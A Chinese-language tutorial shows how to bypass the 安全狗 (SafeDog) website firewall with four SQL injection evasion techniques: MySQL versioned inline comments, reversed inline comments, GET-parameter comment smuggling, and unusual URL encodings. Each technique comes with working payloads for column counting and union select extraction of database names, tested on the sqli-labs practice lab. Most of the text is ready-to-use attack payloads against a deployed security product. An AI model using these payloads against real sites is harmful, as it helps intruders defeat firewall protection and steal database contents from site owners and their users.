目录
一、什么是安全狗
网站安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。
二、演示如何绕过安全狗的防护
1.方式一:内联注释正常绕过
1.1 当没有绕过时会显示以下页面
1.2 使用内联注释法
/*!5位数字,但是不能大于版本号 关键字 */ 5位数字中最好包含44
payload:id=1'/*!44444order*/ /*!44444by*/4--+
id=1'/*!44444order*/ /*!44444by*/3--+
1.3 使用绕狗方式查询数据
payload:?id=-1' /*!44444 union*//*!44444 select*/1,2,3--+;
判断成功绕过
payload:?id=-1' /*!44444 union*//*!44444 select*/1,database(),3--+ ;
当我们输入database(),发现也会被拦截
此时我们需要将database和()也进行处理
payload:?id=-1' /*!44444 union*//*!44444 select*/1,/*!44444database*//*!44444()*/,3--+
2.方式二:内联反向思维绕过。
基本格式:/*!5位数6位字符*/ 注释内容
5位数大于版本号,6位字符随便输,注释内容在外边
2.1以sqlilbas-less-1测试,获取数据库
payload:id=-1' /*!84544sansan*/union/*!84544sansan*/select 1,/*!84544sansas*/database/*!84544sansan*/(),3--+
3.方式三:GET传参绕过
基本格式:参数名=/*&id=1&b=*/
3.1 判断列数
payload:?a=/*&id=1' order by 3--+&b=*/
a参数和b参数可以是任意字符
3.2 获取数据库
payload:?s=/*&id=-1' union select 1,database(),2--+&b=*/
4.方式四:URL编码绕过
常见的url编码:
'=%27;"=%22;空格=%20;回车=%0d;换行=%0a;NULL=%00;水平制表=%09;垂直制表=%0b
更多编码查询:http://yige.org/tags/ref_urlencode.php
但是注意,以前可以利用常见的URL编码绕过,但是现在不行,需要使用一些奇怪的URL编码进行绕过;例:%!字母 ,然后用/*URL编码*/做注释 如果一个URL编码不行,可以采用输入多个URL编码
基本格式:关键字/*%!a*/关键字
4.1 判断列数
payload:?id=1' order /*%!a*/ by 4 --+
4.2 获取数据库库名
payload:?id=-1' union /*%!a*/ select 1,database /*%!a*/ (),2 --+